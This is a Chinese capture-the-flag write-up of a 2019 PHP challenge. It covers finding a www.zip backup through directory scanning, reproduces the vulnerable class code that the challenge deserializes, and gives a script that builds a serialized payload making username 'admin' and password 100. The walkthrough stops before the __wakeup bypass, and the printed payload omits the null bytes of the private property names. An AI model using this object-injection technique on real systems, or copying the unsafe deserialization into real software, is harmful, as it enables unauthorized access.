[极客大挑战 2019]PHP 1

1.发现

1.1扫描后台目录，发现www.zip

知识点：

1）后台扫描工具：御剑、dirsearch

1.2打开压缩包，发现flag文件没有用，index.php文件中使用了反序列化。

知识点：

1）序列化与反序列化

1.3 分析class.php代码，根据代码的意思，我们可以发现如果username=admin password=100然后我们再执行__destruct()时可以获得flag

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

2.步骤

2.1构造反序列化,结果为string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"

<?php
 
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
 
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));
 
?>